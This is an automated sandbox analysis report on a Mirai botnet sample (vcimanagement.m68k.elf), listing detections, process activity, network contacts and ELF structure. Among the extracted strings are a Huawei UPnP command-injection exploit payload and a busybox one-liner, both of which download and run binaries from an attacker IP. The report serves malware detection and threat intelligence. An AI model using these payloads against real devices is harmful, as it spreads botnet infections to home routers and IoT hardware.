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Linux Analysis Report
vcimanagement.m68k.elf

Overview

General Information

Sample name:	vcimanagement.m68k.elf
Analysis ID:	1582274
MD5:	36090fae5a29c7255629b8a5cc8821c1
SHA1:	498d6f88e7910bfdb8f25f4b8a1881d9f33e8bf9
SHA256:	530d1d161ce4266cc0b930dab22319a54f4d94df6c03a7e4e8b415d56f1b2ca9
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582274
Start date and time:	2024-12-30 08:22:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	vcimanagement.m68k.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@0/0

Warnings

VT rate limit hit for: http://107.150.62.186/8UsA.sh;
VT rate limit hit for: http://107.150.62.186/bins/x86

Runtime Messages

Command:	/tmp/vcimanagement.m68k.elf
PID:	6254
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

vcimanagement.m68k.elf (PID: 6254, Parent: 6178, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/vcimanagement.m68k.elf

dash New Fork (PID: 6284, Parent: 4332)

rm (PID: 6284, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0

dash New Fork (PID: 6285, Parent: 4332)

rm (PID: 6285, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
vcimanagement.m68k.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6254.1.00007fd9e4013000.00007fd9e4014000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6254.1.00007fd9e4001000.00007fd9e4012000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: vcimanagement.m68k.elf PID: 6254	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: vcimanagement.m68k.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: vcimanagement.m68k.elf	Virustotal: Detection: 66%			Perma Link
Source: vcimanagement.m68k.elf	ReversingLabs: Detection: 65%

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: vcimanagement.m68k.elf	String found in binary or memory: http://107.150.62.186/8UsA.sh;
Source: vcimanagement.m68k.elf	String found in binary or memory: http://107.150.62.186/bins/x86
Source: vcimanagement.m68k.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: vcimanagement.m68k.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39256
Source: unknown	Network traffic detected: HTTP traffic on port 39256 -> 443

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://107.150.62.186/8UsA.sh; chmod +x 8UsA.sh; sh 8UsA.sh

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6284)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0			Jump to behavior
Source: /usr/bin/dash (PID: 6285)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0			Jump to behavior

Source: /tmp/vcimanagement.m68k.elf (PID: 6254)

Queries kernel information via 'uname':

Jump to behavior

Source: vcimanagement.m68k.elf, 6254.1.00007ffe051ac000.00007ffe051cd000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/vcimanagement.m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/vcimanagement.m68k.elf
Source: vcimanagement.m68k.elf, 6254.1.00007ffe051ac000.00007ffe051cd000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: vcimanagement.m68k.elf, 6254.1.0000562741de5000.0000562741e49000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: vcimanagement.m68k.elf, 6254.1.00007ffe051ac000.00007ffe051cd000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: vcimanagement.m68k.elf, 6254.1.0000562741de5000.0000562741e49000.rw-.sdmp	Binary or memory string: A'V!/etc/qemu-binfmt/m68k

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: vcimanagement.m68k.elf, type: SAMPLE
Source: Yara match	File source: 6254.1.00007fd9e4013000.00007fd9e4014000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: 6254.1.00007fd9e4001000.00007fd9e4012000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vcimanagement.m68k.elf PID: 6254, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: vcimanagement.m68k.elf, type: SAMPLE
Source: Yara match	File source: 6254.1.00007fd9e4013000.00007fd9e4014000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: 6254.1.00007fd9e4001000.00007fd9e4012000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vcimanagement.m68k.elf PID: 6254, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vcimanagement.m68k.elf	67%	Virustotal		Browse
vcimanagement.m68k.elf	66%	ReversingLabs	Linux.Backdoor.Mirai
vcimanagement.m68k.elf	100%	Avira	EXP/ELF.Mirai.Bootnet.o

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://107.150.62.186/bins/x86	vcimanagement.m68k.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	vcimanagement.m68k.elf	false	high
http://107.150.62.186/8UsA.sh;	vcimanagement.m68k.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	vcimanagement.m68k.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.249.145.219	spc.elf	Get hash	malicious	Mirai, Moobot	Browse
	dlr.arm.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	rebirth.ppc.elf	Get hash	malicious	Gafgyt	Browse
	dlr.arm7.elf	Get hash	malicious	Mirai	Browse
	udpmpsl.elf	Get hash	malicious	Unknown	Browse
	bot.x86_64.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	main_mpsl.elf	Get hash	malicious	Mirai	Browse
	ub8ehJSePAfc9FYqZIT6.arm7.elf	Get hash	malicious	Mirai	Browse
	telnet.arm7.elf	Get hash	malicious	Unknown	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.42	vcimanagement.sh4.elf	Get hash	malicious	Mirai	Browse
	Aqua.m68k.elf	Get hash	malicious	Mirai	Browse
	botx.arm5.elf	Get hash	malicious	Mirai	Browse
	i.elf	Get hash	malicious	Unknown	Browse
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm6.elf	Get hash	malicious	Mirai, Moobot	Browse
	.Sspc.elf	Get hash	malicious	Unknown	Browse
	zmap.arm5.elf	Get hash	malicious	Okiru	Browse
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse
	.Sppc.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	vcimanagement.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Aqua.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	botx.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	i.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	91.189.91.42
	wkb86.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	arm6.elf	Get hash	malicious	Mirai, Moobot	Browse	91.189.91.42
	.Sspc.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	zmap.arm5.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	91.189.91.42
INIT7CH	vcimanagement.sh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Aqua.m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	botx.arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	i.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	109.202.202.202
	arm6.elf	Get hash	malicious	Mirai, Moobot	Browse	109.202.202.202
	.Sspc.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	zmap.arm5.elf	Get hash	malicious	Okiru	Browse	109.202.202.202
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	109.202.202.202
	.Sppc.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
AMAZON-02US	https://smex-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fshm.to%2fpolice&umid=0d23e2e5-f76c-4734-8c53-52692e5df704&auth=771bc9afedacaf21ff6267a075d4e92f38a56cd1-76eb9d39a6a3c5ec361f1d32692c8a467e476d6a	Get hash	malicious	Unknown	Browse	34.209.252.91
	https://smex-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fshm.to%2fpolice&umid=0d23e2e5-f76c-4734-8c53-52692e5df704&auth=771bc9afedacaf21ff6267a075d4e92f38a56cd1-76eb9d39a6a3c5ec361f1d32692c8a467e476d6a	Get hash	malicious	Unknown	Browse	34.209.252.91
	PersonnelPolicies.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	52.208.202.62
	botx.arm5.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	botx.mips.elf	Get hash	malicious	Mirai	Browse	99.86.94.132
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	63.34.98.47
	botx.x86.elf	Get hash	malicious	Mirai	Browse	52.53.164.71
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	35.154.4.108
	botx.arm7.elf	Get hash	malicious	Mirai	Browse	18.138.207.157
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	13.57.169.32

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.298926866497052
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	vcimanagement.m68k.elf
File size:	69'588 bytes
MD5:	36090fae5a29c7255629b8a5cc8821c1
SHA1:	498d6f88e7910bfdb8f25f4b8a1881d9f33e8bf9
SHA256:	530d1d161ce4266cc0b930dab22319a54f4d94df6c03a7e4e8b415d56f1b2ca9
SHA512:	34e7b9f725de3eebf7bfbf4c800ded827e7df1d68beda3f9284e48e858dac5b52ef35235a48cd8fd73d43c951547c07bc34f264a7762f73b1f4750a33cfe5fd9
SSDEEP:	1536:RDUL/1TtgFyrsYQCOe6xxPEzoCBK20IgY8lq:OL/vclHP1/Soe0fO
TLSH:	66635CC5E4019E3CF99BD6BE94160A08BA30635456A30F2BD6ABFCD77CB316C9E42D41
File Content Preview:	.ELF.......................D...4...D.....4. ...(.................................. ...........+...+....$.......... .dt.Q............................NV..a....da....8N^NuNV..J9....f>"y..+. QJ.g.X.#...+.N."y..+. QJ.f.A.....J.g.Hy....N.X.........N^NuNV..N^NuN

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	69188
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x10062	0x0	0x6	AX	4
.fini	PROGBITS	0x8001010a	0x1010a	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x80010118	0x10118	0xac2	0x0	0x2	A	2
.ctors	PROGBITS	0x80012be0	0x10be0	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x80012be8	0x10be8	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80012bf4	0x10bf4	0x210	0x0	0x3	WA	4
.bss	NOBITS	0x80012e04	0x10e04	0x2d8	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x10e04	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x10bda	0x10bda	6.3265	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x10be0	0x80012be0	0x80012be0	0x224	0x4fc	3.0677	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 08:23:13.701253891 CET	43928	443	192.168.2.23	91.189.91.42
Dec 30, 2024 08:23:28.182137012 CET	443	39256	34.249.145.219	192.168.2.23
Dec 30, 2024 08:23:28.182688951 CET	39256	443	192.168.2.23	34.249.145.219
Dec 30, 2024 08:23:28.187721014 CET	443	39256	34.249.145.219	192.168.2.23
Dec 30, 2024 08:23:32.386743069 CET	42516	80	192.168.2.23	109.202.202.202
Dec 30, 2024 08:23:34.434489965 CET	43928	443	192.168.2.23	91.189.91.42
Dec 30, 2024 08:24:15.388750076 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: vcimanagement.m68k.elf PID: 6254, Parent PID: 6178

General

Start time (UTC):	07:23:10
Start date (UTC):	30/12/2024
Path:	/tmp/vcimanagement.m68k.elf
Arguments:	/tmp/vcimanagement.m68k.elf
File size:	4463432 bytes
MD5 hash:	cd177594338c77b895ae27c33f8f86cc

Chronological Activities

Analysis Process: dash PID: 6284, Parent PID: 4332

General

Start time (UTC):	07:23:27
Start date (UTC):	30/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6284, Parent PID: 4332

General

Start time (UTC):	07:23:27
Start date (UTC):	30/12/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 6285, Parent PID: 4332

General

Start time (UTC):	07:23:27
Start date (UTC):	30/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6285, Parent PID: 4332

General

Start time (UTC):	07:23:27
Start date (UTC):	30/12/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.jRXVSVJVSK /tmp/tmp.22k5i1QwbD /tmp/tmp.AcP8frR9I0
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report vcimanagement.m68k.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: vcimanagement.m68k.elf PID: 6254, Parent PID: 6178

General

Chronological Activities

Analysis Process: dash PID: 6284, Parent PID: 4332

General

Chronological Activities

Analysis Process: rm PID: 6284, Parent PID: 4332

General

Chronological Activities

Analysis Process: dash PID: 6285, Parent PID: 4332

General

Chronological Activities

Analysis Process: rm PID: 6285, Parent PID: 4332

General

Chronological Activities

Linux Analysis Report
vcimanagement.m68k.elf